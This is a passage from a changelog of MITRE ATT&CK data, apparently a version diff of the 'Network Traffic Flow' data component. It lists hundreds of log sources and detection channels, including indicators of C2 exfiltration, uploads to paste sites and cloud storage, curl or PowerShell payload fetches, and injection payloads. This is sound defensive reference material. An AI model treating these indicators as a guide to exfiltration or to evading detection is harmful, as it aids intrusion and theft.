\"NSM:Flow\", \"channel\": \"Suspicious GET/POST; downloader patterns\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SSH logins or scp activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"remote login and transfer\"}, {\"name\": \"esxi:vob\", \"channel\": \"NFS/remote access logs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Traffic between instances\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=5005 (WLAN), EventCode=302 (Bluetooth)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious long-lived or reattached remote desktop sessions from unexpected IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP payloads with SQLi/LFI/JNDI/deserialization indicators\"}, {\"name\": \"NSM:Flow\", \"channel\": \"outbound egress from web host after suspicious request\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Requests towards cloud metadata or command & control from pod IPs\"}, {\"name\": \"ALB:HTTPLogs\", \"channel\": \"AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Connections to TCP 427 (SLP) or vCenter web services from untrusted sources\"}, {\"name\": \"NSM:Flow\", \"channel\": \"NetFlow/sFlow for odd egress to Internet from mgmt plane\"}, {\"name\": \"NSM:Flow\", \"channel\": \"packet capture or DPI logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SMB2_LOGOFF/SMB_TREE_DISCONNECT\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Connections to suspicious domains with mismatched certificate or unusual patterns\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unusual Base64-encoded content in URI, headers, or POST body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Base64 strings or gzip in URI, headers, or POST body\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"HTTP POST with encoded content in user-agent or cookie field\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Outbound traffic using encoded payloads post-login\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound to 22/5900/8080 and follow-on internal connections.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP body contains long Base64 sections\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: Base64/MIME looking payloads from ESXi host IP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"LDAP Bind/Search\"}, {\"name\": \"NSM:Flow\", \"channel\": \"LDAP Query\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream (subsystem: com.apple.system.networking)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"smtp.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"smtp.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"remote CLI session detection\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Encrypted connection with anomalous payload entropy\"}, {\"name\": \"esxcli:network\", \"channel\": \"Socket sessions with randomized payloads inconsistent with TLS\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Symmetric encryption detected without TLS handshake sequence\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.log, ftp.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"PCAP inspection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large HTTPS POST requests to webhook endpoints\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"HTTPS POST connections to webhook endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \\u2264TimeWindow by outbound SF from same host to src_ip.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound one-off packet to uncommon port \\u2192 outbound SF to same src_ip within TimeWindow.\"}, {\"name\": \"networkdevice:config\", \"channel\": \"NAT table modification (add/update/delete rule)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large upload to firmware interface port or path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Rapid incoming TLS handshakes or HTTP requests in quick succession\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)\"}, {\"name\": \"NSM:Connections\", \"channel\": \"TLS handshake + HTTP headers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log + http.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"network, socket, and http logs\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"TLS/HTTP inspection\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http/file-xfer: Outbound transfer of large video-like MIME types soon after capture\"}, {\"name\": \"container:proxy\", \"channel\": \"outbound/inbound network activity from spawned pods\"}, {\"name\": \"esxcli:network\", \"channel\": \"listening sockets bound to non-standard ports\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound SCP, TFTP, or FTP sessions carrying configuration file content\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Session Transfer Content\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Captured File Content\"}, {\"name\": \"NSM:Flow\", \"channel\": \"C2 exfiltration\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Transferred file observations\"}, {\"name\": \"apache:access_log\", \"channel\": \"Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::post: Outbound HTTP POST from host shortly after DB export activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot\"}, {\"name\": \"docker:events\", \"channel\": \"remote API calls to /containers/create or /containers/{id}/start\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::request: Network connection to package registry or C2 from interpreter shortly after install\"}, {\"name\": \"linux:syslog\", \"channel\": \"Integrity mismatch warnings or malformed packets detected\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http::request: Outbound HTTP initiated by Python interpreter\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Outbound requests with forged tokens/cookies in headers\"}, {\"name\": \"linux:syslog\", \"channel\": \"DNS response IPs followed by connections to non-standard calculated ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"DNS responses followed by connections to ports outside standard ranges\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Persistent outbound traffic to mining domains\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Encrypted session initiation by unexpected binary\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Inspection of sockets showing encrypted sessions from non-baseline processes\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Abnormal certificate chains or non-standard ports carrying TLS\"}, {\"name\": \"NSM:Flow\", \"channel\": \"DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large HTTPS POST requests to text storage domains\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"HTTPS POST connections to pastebin-like domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected ARP replies or DNS responses inconsistent with authoritative servers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TLS downgrade or inconsistent DNS answers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Large volume of malformed or synthetic payloads to application endpoints prior to failure\"}, {\"name\": \"networkconfig \", \"channel\": \"interface flag PROMISC, netstat | ip link | ethtool\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"eventMessage = 'promiscuous'\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"config change (e.g., logging buffered, pcap buffers)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound HTTPS connections to code repository APIs\"}, {\"name\": \"azure:activity\", \"channel\": \"networkInsightsLogs\"}, {\"name\": \"gcp:audit\", \"channel\": \"network.query*\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Defender/Operational\", \"channel\": \"Unusual external domain access\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log or http.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: suspicious long tokens with custom alphabets in body/headers\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http: HTTP bodies from ESXi host IPs containing long, non-standard tokens\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Egress to non-approved networks from host after terminal exec\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Flow/PCAP analysis for outbound payloads\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log + files.log + ssl.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"eventMessage = 'open', 'sendto', 'connect'\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTPS or custom protocol traffic with large payloads\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"network stack module logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unexpected script or binary content returned in HTTP response body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Injected content responses with unexpected script/malware signatures\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Content injection observed in HTTPS responses with mismatched certificates or altered payloads\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Anomalous TCP SYN or ACK spikes from specific source or interface\"}, {\"name\": \"saas:confluence\", \"channel\": \"REST API access from non-browser agents\"}, {\"name\": \"Netfilter/iptables\", \"channel\": \"Forwarded packets log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Relay patterns across IP hops\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"Outbound encrypted traffic\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ldap.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dns-sd, mDNSResponder, socket activity\"}, {\"name\": \"networkdevice:IDS\", \"channel\": \"content inspection / PCAP / HTTP body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Probe responses from unauthorized APs responding to client probe requests\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"setsockopt, ioctl modifying ARP entries\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Excessive gratuitous ARP replies on local subnet\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Inbound HTTP POST with suspicious payload size or user-agent\"}, {\"name\": \"NSM:Flow\", \"channel\": \"POST requests to .php, .jsp, .aspx files with high entropy body\"}, {\"name\": \"NSM:Flow\", \"channel\": \"dns.log\"}, {\"name\": \"NSM:FLow\", \"channel\": \"dns.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Encrypted tunnels or proxy traffic to non-standard destinations\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Suspicious traffic filtered or redirected by VM networking stack\"}, {\"name\": \"NSM:Flow\", \"channel\": \"large transfer from management IPs to unauthorized host\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ftp.log, smb_files.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ftp.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"mirror/SPAN port\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ftp.log, conn.log, smb_files.log\"}, {\"name\": \"linux:syslog\", \"channel\": \"Multiple NXDOMAIN responses and high entropy domains\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SSL/TLS Inspection or PCAP\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log, ssl.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process + network activity\"}, {\"name\": \"NSM:Flow\", \"channel\": \"http, dns, smb, ssl logs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"dns, ssl, conn\"}, {\"name\": \"NSM:Flow\", \"channel\": \"conn.log, http.log, dns.log, ssl.log\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ICMP/UDP traffic (Wireshark, Suricata, Zeek)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"icmp.log, weird.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMCI syslog entries\"}, {\"name\": \"NSM:Firewall\", \"channel\": \"ICMP/UDP protocol anomaly\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts\"}, {\"name\": \"NSM:Flow\", \"channel\": \"DHCP OFFER or ACK with unauthorized DNS/gateway parameters\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Multiple DHCP OFFER responses for a single DISCOVER\"}, {\"name\": \"NSM:Flow\", \"channel\": \"SSL/TLS Handshake Analysis\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP Header Metadata\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Network Capture TLS/HTTP\"}, {\"name\": \"NSM:Content\", \"channel\": \"SSL Certificate Metadata\"}, {\"name\": \"NSM:Content\", \"channel\": \"HTTP Header Metadata\"}, {\"name\": \"NSM:Content\", \"channel\": \"TLS Fingerprint and Certificate Analysis\"}, {\"name\": \"NSM:Flow\", \"channel\": \"container egress to unknown IPs/domains\"}, {\"name\": \"gcp:vpcflow\", \"channel\": \"first 5m egress to unknown ASNs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"HTTP Request Logging\"}, {\"name\": \"WinEventLog:iis\", \"channel\": \"IIS Logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.WebKit\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssh connections originating from third-party CIDRs\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssh/smb connections to internal resources from third-party devices\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)\"}, {\"name\": \"NSM:Flow\", \"channel\": \"host switch egress data\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Outbound HTTP/S\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem: com.apple.WebKit or com.apple.WebKit.Networking\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log - Certificate Analysis\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log, conn.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"ssl.log, x509.log\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF\\u00d76 + 16\\u00d7MAC)\"}, {\"name\": \"WIDS:AssociationLogs\", \"channel\": \"Unauthorized AP or anomalous MAC address connection attempts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"encrypted outbound traffic carrying unexpected application data\"}, {\"name\": \"esxcli:network\", \"channel\": \"listening sockets bound with non-standard encapsulated protocols\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Persistent outbound connections with consistent periodicity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"TLS connections with abnormal handshake sequence or self-signed cert\"}, {\"name\": \"esxcli:network\", \"channel\": \"Socket inspection showing RSA key exchange outside baseline endpoints\"}, {\"name\": \"IDS:TLSInspection\", \"channel\": \"Malformed certs, incomplete asymmetric handshakes, or invalid CAs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Web server process initiating outbound TCP connections not tied to normal server traffic\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound TLS connections to cloud storage providers\"}, {\"name\": \"saas:box\", \"channel\": \"API calls exceeding baseline thresholds\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"outbound HTTPS connections to cloud storage APIs\"}, {\"name\": \"AWS:VPCFlowLogs\", \"channel\": \"High volume internal-to-internal IP transfer or cross-account cloud transfer\"}, {\"name\": \"etw:Microsoft-Windows-WinINet\", \"channel\": \"WinINet API telemetry\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process, network\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Unusual POST requests to admin or upload endpoints\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Suspicious POSTs to upload endpoints\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Authentication failures or unusual community string usage in SNMP queries\"}, {\"name\": \"API:ConfigRepoAudit\", \"channel\": \"Access to configuration repository endpoints, unusual enumeration requests or mass downloads\"}, {\"name\": \"NSM:Content\", \"channel\": \"Traffic on RPC DRSUAPI\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process = 'ssh' OR eventMessage CONTAINS 'ssh'\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.343000+00:00\", \"old_value\": \"2025-04-18 15:11:16.672000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:34.703000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0078", + "external_id": "DC0078" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Traffic Flow", + "description": "Summarized network packet data that captures session-level details such as source/destination IPs, ports, protocol types, timestamps, and data volume, without storing full packet payloads. This is commonly used for traffic analysis, anomaly detection, and network performance monitoring.\n\n*Data Collection Measures:*\n\n- Network Flow Logs (Metadata Collection)\n - NetFlow \n - Summarized metadata for network conversations (no packet payloads).\n - sFlow (Sampled Flow Logging)\n - Captures sampled packets from switches and routers.\n - Used for real-time traffic monitoring and anomaly detection.\n - Zeek (Bro) Flow Logs\n - Zeek logs session-level details in logs like conn.log, http.log, dns.log, etc.\n- Host-Based Collection\n - Sysmon Event ID 3 \u2013 Network Connection Initiated\n - Logs process-level network activity, useful for detecting malicious outbound connections.\n - AuditD (Linux) \u2013 syscall=connect\n - Monitors system calls for network connections. `auditctl -a always,exit -F arch=b64 -S connect -k network_activity`\n- Cloud & SaaS Flow Monitoring\n - AWS VPC Flow Logs\n - Captures metadata for traffic between EC2 instances, security groups, and internet gateways.\n - Azure NSG Flow Logs / Google VPC Flow Logs\n - Logs ingress/egress traffic for cloud-based resources.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Network Traffic", + "channel": "None" + }, + { + "name": "macos:osquery", + "channel": "socket_events" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected flows between segmented networks or prohibited ports" + }, + { + "name": "snmp:config", + "channel": "Configuration change traps or policy enforcement failures" + }, + { + "name": "NSM:Flow", + "channel": "First-time outbound connections to package registries or unknown hosts immediately after restore/build" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to new registries/CDNs post-install/build" + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to non-approved registries after dependency install" + }, + { + "name": "NSM:Flow", + "channel": "Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets" + }, + { + "name": "NSM:Flow", + "channel": "large outbound data flows or long-duration connections" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "egress > 90th percentile or frequent connection reuse" + }, + { + "name": "NSM:Flow", + "channel": "conn.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect" + }, + { + "name": "esxi:syslog", + "channel": "esxcli network vswitch or DNS resolver configuration updates" + }, + { + "name": "esxi:vobd", + "channel": "Network Events" + }, + { + "name": "iptables:LOG", + "channel": "TCP connections" + }, + { + "name": "NSM:Flow", + "channel": "connection metadata" + }, + { + "name": "wineventlog:dhcp", + "channel": "DHCP Lease Granted" + }, + { + "name": "NSM:Flow", + "channel": "LEASE_GRANTED" + }, + { + "name": "NSM:Flow", + "channel": "MAC not in allow-list acquiring IP (DHCP)" + }, + { + "name": "Windows Firewall Log", + "channel": "SMB over high port" + }, + { + "name": "NSM:Connections", + "channel": "Internal connection logging" + }, + { + "name": "NSM:Flow", + "channel": "pf firewall logs" + }, + { + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + }, + { + "name": "NSM:Flow", + "channel": "Inter-segment traffic" + }, + { + "name": "NSM:Flow", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "Long-lived or hijacked SSH sessions maintained with no active user activity" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "VPC/NSG flow logs for pod/instance egress to Internet or metadata" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious outbound traffic from browser binary to non-standard domains" + }, + { + "name": "NSM:Flow", + "channel": "Abnormal browser traffic volume or destination" + }, + { + "name": "NSM:Flow", + "channel": "Outbound requests to domains not previously resolved or associated with phishing campaigns" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click" + }, + { + "name": "M365Defender:DeviceNetworkEvents", + "channel": "NetworkConnection: bytes_sent >> bytes_received anomaly" + }, + { + "name": "PF:Logs", + "channel": "outbound flows with bytes_out >> bytes_in" + }, + { + "name": "NSX:FlowLogs", + "channel": "network_flow: bytes_out >> bytes_in to external" + }, + { + "name": "NSM:Flow", + "channel": "NetFlow/Zeek conn.log" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound data flows" + }, + { + "name": "NSM:Flow", + "channel": "Flow records with entropy signatures resembling symmetric encryption" + }, + { + "name": "NSM:Flow", + "channel": "flow records" + }, + { + "name": "networkdevice:syslog", + "channel": "flow records" + }, + { + "name": "macos:unifiedlog", + "channel": "HTTPS POST to known webhook URLs" + }, + { + "name": "saas:api", + "channel": "Webhook registrations or repeated POST activity" + }, + { + "name": "NSM:Flow", + "channel": "Source/destination IP translation inconsistent with intended policy" + }, + { + "name": "SNMP:DeviceLogs", + "channel": "Unexpected NAT translation statistics or rule insertion events" + }, + { + "name": "NSM:Flow", + "channel": "Sudden spike in incoming flows to web service ports from single/multiple IPs" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Unusual volume of inbound packets from single source across short time interval" + }, + { + "name": "NSM:Flow", + "channel": "port 5900 inbound" + }, + { + "name": "NSM:Flow", + "channel": "TCP port 5900 open" + }, + { + "name": "NSM:firewall", + "channel": "inbound connection to port 5900" + }, + { + "name": "NSM:Firewall", + "channel": "Outbound connections to 139/445 to multiple destinations" + }, + { + "name": "VPCFlowLogs:All", + "channel": "High volume internal traffic with low entropy indicating looped or malicious DoS script" + }, + { + "name": "NSM:Flow", + "channel": "NetFlow/sFlow/PCAP" + }, + { + "name": "NSM:Flow", + "channel": "Outbound Network Flow" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.network" + }, + { + "name": "NSM:Flow", + "channel": "Device-to-Device Deployment Flows" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket/connect syscalls" + }, + { + "name": "macos:unifiedlog", + "channel": "outbound TCP/UDP traffic over unexpected port" + }, + { + "name": "esxi:vpxd", + "channel": "ESXi service connections on unexpected ports" + }, + { + "name": "iptables:LOG", + "channel": "OUTBOUND" + }, + { + "name": "macos:unifiedlog", + "channel": "tcp/udp" + }, + { + "name": "esxi:hostd", + "channel": "CLI network calls" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic from suspicious new processes post-attachment execution" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious anomalies in transmitted data integrity during application network operations" + }, + { + "name": "esxi:syslog", + "channel": "DNS resolution events leading to outbound traffic on unexpected ports" + }, + { + "name": "NSM:Flow", + "channel": "Outbound traffic to mining pools or proxies" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "Outbound flow logs to known mining pools" + }, + { + "name": "container:cni", + "channel": "Outbound network traffic to mining proxies" + }, + { + "name": "esxi:vpxd", + "channel": "TLS session established by ESXi service to unapproved endpoint" + }, + { + "name": "NSM:Flow", + "channel": "Session records with TLS-like byte patterns" + }, + { + "name": "macos:unifiedlog", + "channel": "HTTPS POST requests to pastebin.com or similar" + }, + { + "name": "NetFlow:Flow", + "channel": "new outbound connections from exploited process tree" + }, + { + "name": "NSM:Connections", + "channel": "new connections from exploited lineage" + }, + { + "name": "NSM:Flow", + "channel": "Unexpected route changes or duplicate gateway advertisements" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall", + "channel": "EventCode=2004,2005,2006" + }, + { + "name": "NSM:Flow", + "channel": "Knock pattern: repeated REJ/S0 across \u2265MinSequenceLen ports from same src_ip then SF success." + }, + { + "name": "macos:unifiedlog", + "channel": "Firewall/PF anchor load or rule change events." + }, + { + "name": "networkdevice:syslog", + "channel": "Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes." + }, + { + "name": "NSM:Flow", + "channel": "First-time egress to non-approved update hosts right after install/update" + }, + { + "name": "NSM:Flow", + "channel": "New outbound flows to non-approved vendor hosts post install" + }, + { + "name": "NSM:Flow", + "channel": "New/rare egress to non-approved update hosts after install" + }, + { + "name": "NSM:Flow", + "channel": "large outbound HTTPS uploads to repo domains" + }, + { + "name": "esxi:vmkernel", + "channel": "HTTPS traffic to repository domains" + }, + { + "name": "NSM:Flow", + "channel": "alert log" + }, + { + "name": "esxi:vmkernel", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "Outbound flow records" + }, + { + "name": "m365:defender", + "channel": "NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch" + }, + { + "name": "PF:Logs", + "channel": "high out:in ratio or fixed-size periodic flows" + }, + { + "name": "NSM:Flow", + "channel": "network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs" + }, + { + "name": "auditd:SYSCALL", + "channel": "connect or sendto system call with burst pattern" + }, + { + "name": "macos:unifiedlog", + "channel": "sudden burst in outgoing packets from same PID" + }, + { + "name": "AWS:VPCFlowLogs", + "channel": "source instance sends large volume of traffic in short window" + }, + { + "name": "NSM:Flow", + "channel": "session stats with bytes_out > bytes_in" + }, + { + "name": "NIDS:Flow", + "channel": "session stats with bytes_out > bytes_in" + }, + { + "name": "esxi:vpxa", + "channel": "connection attempts and data transmission logs" + }, + { + "name": "PF:Logs", + "channel": "External traffic to remote access services" + }, + { + "name": "NSM:Flow", + "channel": "High volumes of SYN/ACK packets with unacknowledged TCP handshakes" + }, + { + "name": "dns:query", + "channel": "Outbound resolution to hidden service domains (e.g., `.onion`)" + }, + { + "name": 